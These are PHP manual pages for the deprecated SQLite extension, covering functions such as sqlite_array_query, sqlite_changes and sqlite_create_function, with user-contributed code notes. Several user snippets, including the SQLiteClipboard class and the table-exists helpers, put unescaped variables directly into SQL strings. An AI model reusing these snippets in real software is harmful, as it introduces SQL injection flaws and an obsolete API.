  • numFields - Returns the number of fields in the result set
  • fieldName - Returns the name of a particular field in the result set
  • current - Fetches the current row from the result set as an array
  • next - Seek to the next row number
  • valid - Returns whether more rows are available

Table of Contents

  • sqlite_array_query — Execute a query against a given database and returns an array
  • sqlite_busy_timeout — Set busy timeout duration, or disable busy handlers
  • sqlite_changes — Returns the number of rows that were changed by the most recent SQL statement
  • sqlite_close — Closes an open SQLite database
  • sqlite_column — Fetches a column from the current row of a result set
  • sqlite_create_aggregate — Register an aggregating UDF for use in SQL statements
  • sqlite_create_function — Registers a "regular" User Defined Function for use in SQL statements
  • sqlite_current — Fetches the current row from a result set as an array
  • sqlite_error_string — Returns the textual description of an error code
  • sqlite_escape_string — Escapes a string for use as a query parameter
  • sqlite_exec — Executes a result-less query against a given database
  • sqlite_factory — Opens an SQLite database and returns an SQLiteDatabase object
  • sqlite_fetch_all — Fetches all rows from a result set as an array of arrays
  • sqlite_fetch_array — Fetches the next row from a result set as an array
  • sqlite_fetch_column_types — Return an array of column types from a particular table
  • sqlite_fetch_object — Fetches the next row from a result set as an object
  • sqlite_fetch_single — Fetches the first column of a result set as a string
  • sqlite_fetch_string — Alias of sqlite_fetch_single
  • sqlite_field_name — Returns the name of a particular field
  • sqlite_has_more — Finds whether or not more rows are available
  • sqlite_has_prev — Returns whether or not a previous row is available
  • sqlite_key — Returns the current row index
  • sqlite_last_error — Returns the error code of the last error for a database
  • sqlite_last_insert_rowid — Returns the rowid of the most recently inserted row
  • sqlite_libencoding — Returns the encoding of the linked SQLite library
  • sqlite_libversion — Returns the version of the linked SQLite library
  • sqlite_next — Seek to the next row number
  • sqlite_num_fields — Returns the number of fields in a result set
  • sqlite_num_rows — Returns the number of rows in a buffered result set
  • sqlite_open — Opens an SQLite database and create the database if it does not exist
  • sqlite_popen — Opens a persistent handle to an SQLite database and create the database if it does not exist
  • sqlite_prev — Seek to the previous row number of a result set
  • sqlite_query — Executes a query against a given database and returns a result handle
  • sqlite_rewind — Seek to the first row number
  • sqlite_seek — Seek to a particular row number of a buffered result set
  • sqlite_single_query — Executes a query and returns either an array for one single column or the value of the first row
  • sqlite_udf_decode_binary — Decode binary data passed as parameters to an UDF
  • sqlite_udf_encode_binary — Encode binary data before returning it from an UDF
  • sqlite_unbuffered_query — Execute a query that does not prefetch and buffer all data
  • sqlite_valid — Returns whether more rows are available

User Contributed Notes

CraquePipe 16-Sep-2011 02:54
The SQLite manual mentions that queries are done in a case-sensitive way, this means your query must be the correct case. It also mentions that using the "LIKE" operator will do a case-insensitive selection. This is true, but this also introduces wildcard symbols which a user could enter without getting filtered by the SQLite escape function. I'm somewhat new to SQL and I didn't think of doing this before, even after looking for a decent way to do case-insensitive queries.

For case-insensitive queries, simply use the built in "lower" function.
<?php
// ...
$name = 'bARbarA';
$rows = $db->arrayQuery('select * from blah where lower(name) = lower(\''.sqlite_escape_string($name).'\');');
// $rows might contain an entry for "Barbara" now.
?>
papafox888 at hotmail dot com 02-Jun-2006 06:05
If you get an error message:

     Warning: sqlite_open() [function.sqlite-open]: file is encrypted or is not a database

then most probably your code is accessing a SQLite3 database.

sqlite_open() only supports SQLite2.  Use PDO to access SQLite3.
heinemann.juergen AT t-online.de 11-Nov-2005 06:53
Simple Example for using SQLite for small Buffering Clipboard ;)

<?php

// $Id: SQLiteClipboard.php5,v 1.1 2005/09/09 10:15:26 heinemann Exp $

/**
 * @callgraph
 * @class      SQLiteClipboard
 * @short      Simple Read/Write Clipboard Class
 * @version    0.0.1
 * @since      Fr Sep  9 08:14:45 CEST 2005
 * @code
   $sqlite = new SQLiteClipboard( MY_TEMP_DIR );
   if ( $sqlite->INSERTING = time() )
      var_dump( $sqlite->INSERTING );
   else
      echo "Nothing done!";
 * @endcode
 */

final class SQLiteClipboard
{
   private $SQL;
   private $DB = "Clipboard.sqlite";
   private $TB = "Clipboard";
   private $ID = "ID";
   private $PA = "PARAM";
   private $VA = "VAL";

   function __construct( $path )
   {
      $this->DB = chop( $path . "/" . $this->DB );
      $this->sql_init();
   }

   private function sql_init()
   {
      $this->SQL = new SQLiteDatabase( $this->DB, 0660 );
      if ( ! file_exists( $this->DB ) )
         die( "Permission Denied!" );

      $q = $this->SQL->query("PRAGMA table_info(" . $this->TB . ")");
      if ( $q->numRows() == 0 ) {
         $this->SQL->query( "CREATE TABLE " . $this->TB . " ( " . $this->ID . " INTEGER PRIMARY KEY, " . $this->PA . " CHAR(255), " . $this->VA . " CHAR(255) );" );
      }
   }

   private function sql_check( $p )
   {
      $o = null;
      $q = $this->SQL->query( "SELECT " . $this->ID . " FROM " . $this->TB . " WHERE ( " . $this->PA . "='$p' ) ORDER BY " . $this->ID . " LIMIT 1" );
      while( $q->valid() ) {
         $r = $q->current();
         return $r[$this->ID];
         $q->next();
      }
      return false;
   }

   public function __get( $p )
   {
      $q = $this->SQL->query( "SELECT " . $this->VA . " FROM " . $this->TB . " WHERE ( " . $this->PA . "='$p' ) ORDER BY " . $this->ID );
      while( $q->valid() ) {
            $r = $q->current();
            $o = $r[$this->VA];
            $q->next();
      }
      return $o;
   }

   public function __set( $p, $v )
   {
      if ( $this->sql_check( $p ) && ! empty( $v ) )
         return $this->SQL->query( "UPDATE " . $this->TB . " SET " . $this->VA . "='$v' WHERE ( " . $this->PA . "='$p' );" );
      elseif  ( ! $this->sql_check( $p ) && ! empty( $v ) )
         return $this->SQL->query( "INSERT INTO " . $this->TB . " ( " . $this->PA . ", " . $this->VA . " ) VALUES ('$p', '$v' );" );
      elseif  ( $this->sql_check( $p ) && empty( $v ) )
         return $this->SQL->query( "DELETE FROM " . $this->TB . " WHERE ( " . $this->PA . "='$p' );" );
      else
         return false;
   }

} // end Class

?>
01-Sep-2005 01:21
A function to check whether a table exists:

<?php
function sqlite_table_exists(&$sqlite, $table)
{
    $result = $sqlite->query("SELECT name FROM sqlite_master WHERE type='table' AND name='$table'");
    return $result->numRows() > 0;
}
?>
bens at effortlessis dot com 14-Jul-2005 08:37
Sqlite by default allows for foreign keys, but doesn't enforce them.

I found a nice article on how to enforce foreign keys  at http://www.justatheory.com/computers/databases/sqlite/

It would be nice if this could be handled with a wrapper class, so that adding foreign keys is done thru a wrapper API to automate the generation of the necessary enforcement triggers. If nobody's done this by the time I start coding against SqlLite/PHP5 in 6-12 months, I'll write one myself, possibly by modifying "jon at jenseng dot com"s alter table wrapper

Anyway, it's not PHP specific, but anybody using Sqlite really should know this!
Stephen Leaf 30-Jun-2005 02:58
I think it would be good to point out that currently (as of 5.0.4) this extention does not support SQLite 3 databases.
So if your getting an error message like:
Error: file is encrypted or is not a database
That is why.
bart at mediawave dot nl 18-Apr-2005 04:30
SELECT tablename.columnname FROM table;

will cause SQLite to return an array having tablename.field_name as the array index. (e.g. $result['tablename.field_name'])

To let SQLite return an array having only field_name as the array index (e.g. $result['field_name']) you can issue a 'PRAGMA short_column_names = 1' query:

sqlite_query($connection_id, 'PRAGMA short_column_names = 1');

This behaviour is more consistent with the other database extensions.

For a full list of all pragmas visit: http://sqlite.org/pragma.html
dotwho at NOSPAM dot mac dot com 10-Feb-2005 03:03
This may have been obvious to others, but I had a tough time finding the info.

The default location for the actual database file is the same location of the php doc that created the database. You can alter this behavior by specifying the full path in the creation call:

<php
$db = sqlite_open("/absolute/path/my_sqlite.db");
?>

Note that if you used the default location, the db file may be served up by the webserver if it is in a the http document path. This is obviously a security risk that should be avoided.

//Max
hunreal+php at gmail dot com 16-Jan-2005 05:42
Check the db/table if exist

$db_name='db';
$db=new SQLiteDatabase($db_name, 0666, $error);
if ($error) exit($error);
$q=$db->query("PRAGMA table_info(test)");
if ($q->numRows()!=2) {
    if (!@$db->queryexec("
        CREATE TABLE test (
            id INTEGER NOT NULL PRIMARY KEY,
            text VARCHAR ( 255 ) NOT NULL
            )")
    ) exit ("Create SQLite Database Error\n");
}
nicolas dot toniazzi at free dot fr 16-Nov-2004 04:24
The same in 3 lines.

<?php
function sqlite_table_exists($db,$mytable) {
  /* counts the tables that match the name given */
  $result = sqlite_query($db,"SELECT COUNT(*) FROM sqlite_master WHERE type='table' AND name='$mytable'");

  /* casts into integer */
  $count = intval(sqlite_fetch_single($result));

  /* returns true or false */
  return $count > 0;
}
?>
artooro at gmail dot com 22-Oct-2004 03:26
If you need to check if a table exists, you can use a function like this:
<?php
//Returns TRUE if table exists and FALSE otherwise
//  $mytable = table you want to check for

function sqlite_table_exists($mytable) {
$db = sqlite_open('mydb.sqlite', 0666, $sqliteerror);
    $query = sqlite_query($db, "SELECT name FROM sqlite_master WHERE type='table'");
    $tables = sqlite_fetch_array($query);
    if ($tables != '') {
        foreach ($tables as $table) {
            if ($table == $mytable) {
                return("TRUE");
            }
            else {
                return("FALSE");
            }
        }
    }
    else {
        return("FALSE");
    }
}
?>

A function like this could be used to create the table if it's not already created, etc.
j-pieper at NOSPAM dot web dot de 19-Oct-2004 12:18
If you want to create a table in your database which should have an integer primary key, you cannot declare the row like this:

id int(16) primary key
or
id integer(16) primary key

When you declare it like this it could be that the id isn't auto increment. You have to declare it like this:

id integer primary key
filip at filipdewaard dot com 10-Sep-2004 08:39
I've written a short article about the (lack of) use of SQLite in-memory databases: http://www.filipdewaard.com/21_SQLite_inmemory_databases.html . Hopefully it will help somebody out there ;)
philip 08-Aug-2004 11:59
SQLite tutorials:
 * http://www.zend.com/php5/articles/php5-sqlite.php
 * http://www.zend.com/php5/abs/php101-9.php
 * http://www.oreilly.com/catalog/upgradephp5/chapter/ch04.pdf
david at acz dot org 15-Jul-2004 03:29
You can use the PECL SQLite extension as a static (built into the executable) PHP module with PHP 4.  Download the extension tarball and extract it.  Move it to ext/sqlite in the PHP source directory.  Delete configure and run buildconf.

Example below.  Change version numbers as appropriate:

$ tar -xzvf php-4.3.8.tar.gz
$ tar -xzvf SQLite-1.0.2.tgz
$ mv SQLite-1.0.2 php-4.3.8/ext/sqlite
$ cd php-4.3.8
$ rm configure
$ ./buildconf --force

If everything worked, then you should now be able to build PHP with SQLite support:

$ ./configure --help | grep sqlite
  --with-sqlite           Include sqlite support

I think this method will work for other PECL extensions.
13-May-2004 04:46
PHP5 compile time option --enable-sqlite-utf8

See the note about buggy utf-8 support http://uk.php.net/manual/en/function.sqlite-libencoding.php
csaba at alum dot mit dot edu 14-Apr-2004 05:16
If you want to get the list of all the columns in a table (and associated information), PRAGMA is helpful (see http://sqlite.org/lang.html#pragma for details):

if (!($db=@sqlite_open("delme.db",0666,$sqliteerror))) die("Can't open database");
@sqlite_query ($db, 'DROP TABLE foo;');
sqlite_query($db, "CREATE TABLE foo (bar INTEGER PRIMARY KEY, baz VARCHAR(5));");
$aTableStruct = sqlite_array_query($db, "PRAGMA table_info('foo');", SQLITE_ASSOC);
for ($i=0,$aNames=array();$i<sizeof($aTableStruct);++$i)
    $aNames[]=$aTableStruct[$i]['name'];
var_dump ($aNames);    // => ['bar', 'baz']

Note also that if you want to use more than one database in the same connection using "ATTACH DATABASE ..." then you should supply the complete database filename.

Csaba Gabor
cricket at djcricket dot com 31-Mar-2004 06:30
To elaborate on vpupkin at comcast dot net's post about the INSERT query problem, you will be unable to execute any manipulation queries (INSERT/UPDATE/DELETE/ect) on the SQLite database file unless the directory the SQLite database file resides in is writable by the webserver.

The reason for this is because SQLite needs to write a lock file to the hard drive. After a processes finishes writting, it deletes the lock file. Other processes check for the lock file before writting to the SQLite database file and if present, delay writting until the lock file is no longer present.
jlsalinas at spamsucks dot gmx dot net 14-Feb-2004 03:22
For those looking for a function similar to mysql_list_tables, here you have:

if (! function_exists ('sqlite_list_tables')) {
    function sqlite_list_tables (&$dblink) {
        $tables = array ();

        $sql = "SELECT name FROM sqlite_master WHERE (type = 'table')";
        if ($res = sqlite_query ($dblink, $sql)) {
            while (sqlite_has_more($res)) {
                $tables[] = sqlite_fetch_single($res);
            }
        }

        return $tables;
    }
}

And a related funtion, to test if a given table exists:

if (! function_exists ('sqlite_table_exists')) {
    function sqlite_table_exists (&$dblink, $table) {
        $sql = "SELECT count(name) FROM sqlite_master WHERE ((type = 'table') and (name = '$table'))";
        if ($res = sqlite_query ($dblink, $sql)) {
            return sqlite_fetch_single($res) > 0;
        } else {
            return false; // or throw exception
        }
    }
}

Of course it would be preferable to have these functions included in the library, to avoid potential changes internal to SQLite; but we'll have to stick to this method until then.
vpupkin at comcast dot net 01-Dec-2003 05:53
if you are going to send INSERT queries, you will need to make the folder, where you put your "file.db", writable by a web server user, otherwise you'll receive error message - "Unable to open database . . . ". File permissions are not enough (phpinfo - SQLite Lib 2.8.3)
Minots Estich <minots at D0X dot de> 22-Nov-2003 03:47
If you gone in trouble while/with installation of sqlite,
you can try the installation steps I've done at
RedHat9 with PHP4.3.4 and Apache 1.3.28
via the Linux shell:

# wget http://pecl.php.net/get/SQLite-1.0.tgz
# tar xzf SQLite-1.0.tgz
# cd sqlite
# export PHP_PREFIX="/usr"
# $PHP_PREFIX/bin/phpize
# ./configure
# make
# make install

After that add following to php.ini and restart Apache:

[sqlite]
extension="sqlite.so"
ng4rrjanbiah at rediffmail dot com 07-Nov-2003 04:19
Very nice MS PowerPoint presentation titled "SQLite and PHP" (author: Wez Furlong) can be downloaded at http://www.php.net/~wez/SQLite_and_PHP.ppt [134 KB]

HTH,
R. Rajesh Jeba Anbiah


Execute a query against a given database and returns an array

  • « SQLite Functions
  • sqlite_busy_timeout »
  • PHP Manual
  • SQLite Functions
  • Execute a query against a given database and returns an array

sqlite_array_query

SQLiteDatabase::arrayQuery

(PHP 5 < 5.4.0, PECL sqlite >= 1.0.0)

sqlite_array_query -- SQLiteDatabase::arrayQuery — Execute a query against a given database and returns an array

Description

array sqlite_array_query ( resource $dbhandle , string $query [, int $result_type = SQLITE_BOTH [, bool $decode_binary = true ]] )
array sqlite_array_query ( string $query , resource $dbhandle [, int $result_type = SQLITE_BOTH [, bool $decode_binary = true ]] )

Object oriented style (method):

public array SQLiteDatabase::arrayQuery ( string $query [, int $result_type = SQLITE_BOTH [, bool $decode_binary = true ]] )

sqlite_array_query() executes the given query and returns an array of the entire result set. It is similar to calling sqlite_query() and then sqlite_fetch_array() for each row in the result set. sqlite_array_query() is significantly faster than the aforementioned.

Tip

sqlite_array_query() is best suited to queries returning 45 rows or less. If you have more data than that, it is recommended that you write your scripts to use sqlite_unbuffered_query() instead for more optimal performance.

Parameters

query

The query to be executed.

Data inside the query should be properly escaped.

dbhandle

The SQLite Database resource; returned from sqlite_open() when used procedurally. This parameter is not required when using the object-oriented method.

result_type

The optional result_type parameter accepts a constant and determines how the returned array will be indexed. Using SQLITE_ASSOC will return only associative indices (named fields) while SQLITE_NUM will return only numerical indices (ordinal field numbers). SQLITE_BOTH will return both associative and numerical indices. SQLITE_BOTH is the default for this function.

decode_binary

When the decode_binary parameter is set to TRUE (the default), PHP will decode the binary encoding it applied to the data if it was encoded using the sqlite_escape_string(). You should normally leave this value at its default, unless you are interoperating with databases created by other sqlite capable applications.

Note: Two alternative syntaxes are supported for compatibility with other database extensions (such as MySQL). The preferred form is the first, where the dbhandle parameter is the first parameter to the function.

Return Values

Returns an array of the entire result set; FALSE otherwise.

The column names returned by SQLITE_ASSOC and SQLITE_BOTH will be case-folded according to the value of the sqlite.assoc_case configuration option.

Examples

Example #1 Procedural style

<?php
$dbhandle = sqlite_open('sqlitedb');
$result = sqlite_array_query($dbhandle, 'SELECT name, email FROM users LIMIT 25', SQLITE_ASSOC);
foreach ($result as $entry) {
    echo 'Name: ' . $entry['name'] . '  E-mail: ' . $entry['email'];
}
?>

Example #2 Object-oriented style

<?php
$dbhandle = new SQLiteDatabase('sqlitedb');
$result = $dbhandle->arrayQuery('SELECT name, email FROM users LIMIT 25', SQLITE_ASSOC);
foreach ($result as $entry) {
    echo 'Name: ' . $entry['name'] . '  E-mail: ' . $entry['email'];
}
?>

See Also

  • sqlite_query() - Executes a query against a given database and returns a result handle
  • sqlite_fetch_array() - Fetches the next row from a result set as an array
  • sqlite_fetch_string() - Alias of sqlite_fetch_single

User Contributed Notes

kendlj at NOSPAM dot web dot de 18-Apr-2005 01:21
Do not use this code, whenever you may get no result:

<?
$return_data=@sqlite_array_query($query,$databaseHandle);
if(!$return_data)
{
   //Errorhandling code
   die( sqlite_error_string( sqlite_last_error($this->databaseHandle) ) );
}
?>

It will execute the Errorhandling code although there is no error, cause if there is nothing found, sqlite_array_query returns an empty array, which is interpreted as 'false' here.
You will get an Message like:
'not an error'

Instead use:

<?
$return_data=@sqlite_array_query($query,$databaseHandle);
if($return_data===false)
{
   //Errorhandling code
}
?>


Set busy timeout duration, or disable busy handlers

  • « sqlite_array_query
  • sqlite_changes »
  • PHP Manual
  • SQLite Functions
  • Set busy timeout duration, or disable busy handlers

sqlite_busy_timeout

SQLiteDatabase::busyTimeout

(PHP 5 < 5.4.0, PECL sqlite >= 1.0.0)

sqlite_busy_timeout -- SQLiteDatabase::busyTimeout — Set busy timeout duration, or disable busy handlers

Description

void sqlite_busy_timeout ( resource $dbhandle , int $milliseconds )

Object oriented style (method):

public void SQLiteDatabase::busyTimeout ( int $milliseconds )

Set the maximum time, in milliseconds, that SQLite will wait for a dbhandle to become ready for use.

Parameters

dbhandle

The SQLite Database resource; returned from sqlite_open() when used procedurally. This parameter is not required when using the object-oriented method.

milliseconds

The number of milliseconds. When set to 0, busy handlers will be disabled and SQLite will return immediately with a SQLITE_BUSY status code if another process/thread has the database locked for an update.

PHP sets the default busy timeout to be 60 seconds when the database is opened.

Note:

There are one thousand (1000) milliseconds in one second.

Return Values

No value is returned.

Examples

Example #1 Procedural style

<?php
$dbhandle = sqlite_open('sqlitedb');
sqlite_busy_timeout($dbhandle, 10000); // set timeout to 10 seconds
sqlite_busy_timeout($dbhandle, 0); // disable busy handler
?>

Example #2 Object oriented style

<?php
$dbhandle = new SQLiteDatabase('sqlitedb');
$dbhandle->busyTimeout(10000); // 10 seconds
$dbhandle->busyTimeout(0); // disable
?>

See Also

  • sqlite_open() - Opens an SQLite database and create the database if it does not exist

User Contributed Notes

php at cdauth dot de 06-Apr-2007 07:46
The PDO equivalent of this function would be PDO::setAttribute(PDO::ATTR_TIMEOUT);


Returns the number of rows that were changed by the most recent SQL statement

  • « sqlite_busy_timeout
  • sqlite_close »
  • PHP Manual
  • SQLite Functions
  • Returns the number of rows that were changed by the most recent SQL statement

sqlite_changes

SQLiteDatabase::changes

(PHP 5 < 5.4.0, PECL sqlite >= 1.0.0)

sqlite_changes -- SQLiteDatabase::changes — Returns the number of rows that were changed by the most recent SQL statement

Description

int sqlite_changes ( resource $dbhandle )

Object oriented style (method):

public int SQLiteDatabase::changes ( void )

Returns the numbers of rows that were changed by the most recent SQL statement executed against the dbhandle database handle.

Parameters

dbhandle

The SQLite Database resource; returned from sqlite_open() when used procedurally. This parameter is not required when using the object-oriented method.

Return Values

Returns the number of changed rows.

Examples

Example #1 Procedural style

<?php
$dbhandle = sqlite_open('mysqlitedb');
$query = sqlite_query($dbhandle, "UPDATE users SET email='jDoe@example.com' WHERE username='jDoe'");
if (!$query) {
    exit('Error in query.');
} else {
    echo 'Number of rows modified: ', sqlite_changes($dbhandle);
}
?>

Example #2 Object oriented style

<?php
$dbhandle = new SQLiteDatabase('mysqlitedb');
$query = $dbhandle->query("UPDATE users SET email='jDoe@example.com' WHERE username='jDoe'");
if (!$query) {
    exit('Error in query.');
} else {
    echo 'Number of rows modified: ', $dbhandle->changes();
}
?>

See Also

  • sqlite_open() - Opens an SQLite database and create the database if it does not exist

User Contributed Notes

jazz at funkynerd dot com 01-Apr-2010 06:06
When executing DELETEs, I found that adding an always true WHERE clause returns the number of rows deleted.

eg:  "DELETE FROM my_table WHERE 1"  will delete all the rows and sqlite_changes() will return the correct number of rows deleted.
bermi ferrer:at-akelos dotCom 28-Sep-2005 03:02
When counting deleted records from the database, I realized that sqlite_changes() will return 0 if you are deleting all the records without including a WHERE clause.

So after "DELETE FROM users" sqlite_open() will print 0 even if rows where deleted, but if you use "DELETE FROM users WHERE 1" you will get the right result.

I had this problem on versions 5.0.4 and 4.4.0 under Windows servers.


Closes an open SQLite database

  • « sqlite_changes
  • sqlite_column »
  • PHP Manual
  • SQLite Functions
  • Closes an open SQLite database

sqlite_close

(PHP 5 < 5.4.0, PECL sqlite >= 1.0.0)

sqlite_close — Closes an open SQLite database

Description

void sqlite_close ( resource $dbhandle )

Closes the given db_handle database handle. If the database was persistent, it will be closed and removed from the persistent list.

Parameters

dbhandle

The SQLite Database resource; returned from sqlite_open() when used procedurally.

Return Values

No value is returned.

Examples

Example #1 sqlite_close() example

<?php
$dbhandle = sqlite_open('sqlitedb');
sqlite_close($dbhandle);
?>

See Also

  • sqlite_open() - Opens an SQLite database and create the database if it does not exist
  • sqlite_popen() - Opens a persistent handle to an SQLite database and create the database if it does not exist

User Contributed Notes

There are no user contributed notes for this page.


Fetches a column from the current row of a result set

  • « sqlite_close
  • sqlite_create_aggregate »
  • PHP Manual
  • SQLite Functions
  • Fetches a column from the current row of a result set

sqlite_column

SQLiteResult::column

SQLiteUnbuffered::column

(PHP 5 < 5.4.0, PECL sqlite >= 1.0.0)

sqlite_column -- SQLiteResult::column -- SQLiteUnbuffered::column — Fetches a column from the current row of a result set

Description

mixed sqlite_column ( resource $result , mixed $index_or_name [, bool $decode_binary = true ] )
mixed SQLiteResult::column ( mixed $index_or_name [, bool $decode_binary = true ] )
mixed SQLiteUnbuffered::column ( mixed $index_or_name [, bool $decode_binary = true ] )

Fetches the value of a column named index_or_name (if it is a string), or of the ordinal column numbered index_or_name (if it is an integer) from the current row of the query result handle result.

Parameters

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

index_or_name

The column index or name to fetch.

decode_binary

When the decode_binary parameter is set to TRUE (the default), PHP will decode the binary encoding it applied to the data if it was encoded using the sqlite_escape_string(). You should normally leave this value at its default, unless you are interoperating with databases created by other sqlite capable applications.

Return Values

Returns the column value.

Notes

Note:

Use this function when you are iterating a large result set with many columns, or with columns that contain large amounts of data.

See Also

  • sqlite_fetch_string() - Alias of sqlite_fetch_single

User Contributed Notes

There are no user contributed notes for this page.


Register an aggregating UDF for use in SQL statements

  • « sqlite_column
  • sqlite_create_function »
  • PHP Manual
  • SQLite Functions
  • Register an aggregating UDF for use in SQL statements

sqlite_create_aggregate

SQLiteDatabase::createAggregate

(PHP 5 < 5.4.0, PECL sqlite >= 1.0.0)

sqlite_create_aggregate -- SQLiteDatabase::createAggregate — Register an aggregating UDF for use in SQL statements

Description

void sqlite_create_aggregate ( resource $dbhandle , string $function_name , callable $step_func , callable $finalize_func [, int $num_args = -1 ] )

Object oriented style (method):

public void SQLiteDatabase::createAggregate ( string $function_name , callable $step_func , callable $finalize_func [, int $num_args = -1 ] )

sqlite_create_aggregate() is similar to sqlite_create_function() except that it registers functions that can be used to calculate a result aggregated across all the rows of a query.

The key difference between this function and sqlite_create_function() is that two functions are required to manage the aggregate; step_func is called for each row of the result set. Your PHP function should accumulate the result and store it into the aggregation context. Once all the rows have been processed, finalize_func will be called and it should then take the data from the aggregation context and return the result. Callback functions should return a type understood by SQLite (i.e. scalar type).

Parameters

dbhandle

The SQLite Database resource; returned from sqlite_open() when used procedurally. This parameter is not required when using the object-oriented method.

function_name

The name of the function used in SQL statements.

step_func

Callback function called for each row of the result set. Function parameters are &$context, $value, ....

finalize_func

Callback function to aggregate the "stepped" data from each row. Function parameter is &$context and the function should return the final result of aggregation.

num_args

Hint to the SQLite parser if the callback function accepts a predetermined number of arguments.

Return Values

No value is returned.

Examples

Example #1 max_length aggregation function example

<?php
$data = array(
   'one',
   'two',
   'three',
   'four',
   'five',
   'six',
   'seven',
   'eight',
   'nine',
   'ten',
   );
$dbhandle = sqlite_open(':memory:');
sqlite_query($dbhandle, "CREATE TABLE strings(a)");
foreach ($data as $str) {
    $str = sqlite_escape_string($str);
    sqlite_query($dbhandle, "INSERT INTO strings VALUES ('$str')");
}

function max_len_step(&$context, $string)
{
    if (strlen($string) > $context) {
        $context = strlen($string);
    }
}

function max_len_finalize(&$context)
{
    return $context;
}

sqlite_create_aggregate($dbhandle, 'max_len', 'max_len_step', 'max_len_finalize');

var_dump(sqlite_array_query($dbhandle, 'SELECT max_len(a) from strings'));

?>

In this example, we are creating an aggregating function that will calculate the length of the longest string in one of the columns of the table. For each row, the max_len_step function is called and passed a context parameter. The context parameter is just like any other PHP variable and be set to hold an array or even an object value. In this example, we are simply using it to hold the maximum length we have seen so far; if the string has a length longer than the current maximum, we update the context to hold this new maximum length.

After all of the rows have been processed, SQLite calls the max_len_finalize function to determine the aggregate result. Here, we could perform some kind of calculation based on the data found in the context. In our simple example though, we have been calculating the result as the query progressed, so we simply need to return the context value.

Note:

The example above will not work correctly if the column contains binary data. Take a look at the manual page for sqlite_udf_decode_binary() for an explanation of why this is so, and an example of how to make it respect the binary encoding.

Tip

It is NOT recommended for you to store a copy of the values in the context and then process them at the end, as you would cause SQLite to use a lot of memory to process the query - just think of how much memory you would need if a million rows were stored in memory, each containing a string 32 bytes in length.

Tip

You can use sqlite_create_function() and sqlite_create_aggregate() to override SQLite native SQL functions.

See Also

  • sqlite_create_function() - Registers a "regular" User Defined Function for use in SQL statements
  • sqlite_udf_encode_binary() - Encode binary data before returning it from an UDF
  • sqlite_udf_decode_binary() - Decode binary data passed as parameters to an UDF

User Contributed Notes

There are no user contributed notes for this page.


Registers a "regular" User Defined Function for use in SQL statements

  • « sqlite_create_aggregate
  • sqlite_current »
  • PHP Manual
  • SQLite Functions
  • Registers a "regular" User Defined Function for use in SQL statements

sqlite_create_function

SQLiteDatabase::createFunction

(PHP 5 < 5.4.0, sqlite >= 1.0.0)

sqlite_create_function -- SQLiteDatabase::createFunction — Registers a "regular" User Defined Function for use in SQL statements

Description

void sqlite_create_function ( resource $dbhandle , string $function_name , callable $callback [, int $num_args = -1 ] )

Object oriented style (method):

public void SQLiteDatabase::createFunction ( string $function_name , callable $callback [, int $num_args = -1 ] )

sqlite_create_function() allows you to register a PHP function with SQLite as an UDF (User Defined Function), so that it can be called from within your SQL statements.

The UDF can be used in any SQL statement that can call functions, such as SELECT and UPDATE statements and also in triggers.

Parameters

dbhandle

The SQLite Database resource; returned from sqlite_open() when used procedurally. This parameter is not required when using the object-oriented method.

function_name

The name of the function used in SQL statements.

callback

Callback function to handle the defined SQL function.

Note: Callback functions should return a type understood by SQLite (i.e. scalar type).

num_args

Hint to the SQLite parser if the callback function accepts a predetermined number of arguments.

Note: Two alternative syntaxes are supported for compatibility with other database extensions (such as MySQL). The preferred form is the first, where the dbhandle parameter is the first parameter to the function.

Return Values

No value is returned.

Examples

Example #1 sqlite_create_function() example

<?php
function md5_and_reverse($string)
{
    return strrev(md5($string));
}

if ($dbhandle = sqlite_open('mysqlitedb', 0666, $sqliteerror)) {

    sqlite_create_function($dbhandle, 'md5rev', 'md5_and_reverse', 1);

    $sql  = 'SELECT md5rev(filename) FROM files';
    $rows = sqlite_array_query($dbhandle, $sql);
} else {
    echo 'Error opening sqlite db: ' . $sqliteerror;
    exit;
}
?>

In this example, we have a function that calculates the md5 sum of a string, and then reverses it. When the SQL statement executes, it returns the value of the filename transformed by our function. The data returned in $rows contains the processed result.

The beauty of this technique is that you do not need to process the result using a foreach loop after you have queried for the data.

PHP registers a special function named php when the database is first opened. The php function can be used to call any PHP function without having to register it first.

Example #2 Example of using the PHP function

<?php
$rows = sqlite_array_query($dbhandle, "SELECT php('md5', filename) from files");
?>

This example will call the md5() on each filename column in the database and return the result into $rows

Note:

For performance reasons, PHP will not automatically encode/decode binary data passed to and from your UDF's. You need to manually encode/decode the parameters and return values if you need to process binary data in this way. Take a look at sqlite_udf_encode_binary() and sqlite_udf_decode_binary() for more details.

Tip

It is not recommended to use UDF's to handle processing of binary data, unless high performance is not a key requirement of your application.

Tip

You can use sqlite_create_function() and sqlite_create_aggregate() to override SQLite native SQL functions.

See Also

  • sqlite_create_aggregate() - Register an aggregating UDF for use in SQL statements

User Contributed Notes

Dodolidet 20-Jul-2011 07:44
Although you can create an UDF named 'regexp()', I think it won't be registered as REGEXP operator..

<?php
//registering REGEXP
function my_sqlite_regexp($x,$y){
    return (int)preg_match("`$y`i",$x);
}
echo $db->createFunction('regexp','my_sqlite_regexp',2);

//testing regexp as function, working
$res = $db->query("SELECT * FROM x WHERE regexp(c,'h')", SQLITE_ASSOC , $err) ;

//testing regexp as operator, not working, near "REGEXP": syntax error
$res = $db->query("SELECT * FROM x WHERE c REGEXP 'h'", SQLITE_ASSOC , $err);
?>

I'd also swapped the function parameters $x and $y, but also not works..
-----
From SQLite documentation:
"The REGEXP operator is a special syntax for the regexp() user function. No regexp() user function is defined by default and so use of the REGEXP operator will normally result in an error message. If a application-defined SQL function named "regexp" is added at run-time, that function will be called in order to implement the REGEXP operator."
Brett 20-May-2005 07:27
In my previous comment, there was an error in the code which was causing the issue.

Removing the surrounding quotes from from_unixtime()'s return value solved the issue, and so UDFs _do work_ from within DELETEs and INSERTs!  Yay!

<?php

// SQLite UDF
// Mimic MySQL FROM_UNIXTIME
function from_unixtime($unixtime)
{
    return date('Y-m-d H:i:s', $unixtime);  // no surrouding quotes
}

?>
info at myphp dot it 28-Dec-2004 10:52
The function can be a method of a class:

<?php

class sqlite_function {

    function md5($value)
    {
        return md5($value);
    }

}

$dbhandle = sqlite_open('SQLiteDB');

sqlite_create_function($dbhandle, 'md5', array('sqlite_function', 'md5'), 1);

// From now on, you can use md5 function inside your SQL statements

?>

It works fine :)


Fetches the current row from a result set as an array

  • « sqlite_create_function
  • sqlite_error_string »
  • PHP Manual
  • SQLite Functions
  • Fetches the current row from a result set as an array

sqlite_current

SQLiteResult::current

SQLiteUnbuffered::current

(PHP 5 < 5.4.0, PECL sqlite >= 1.0.0)

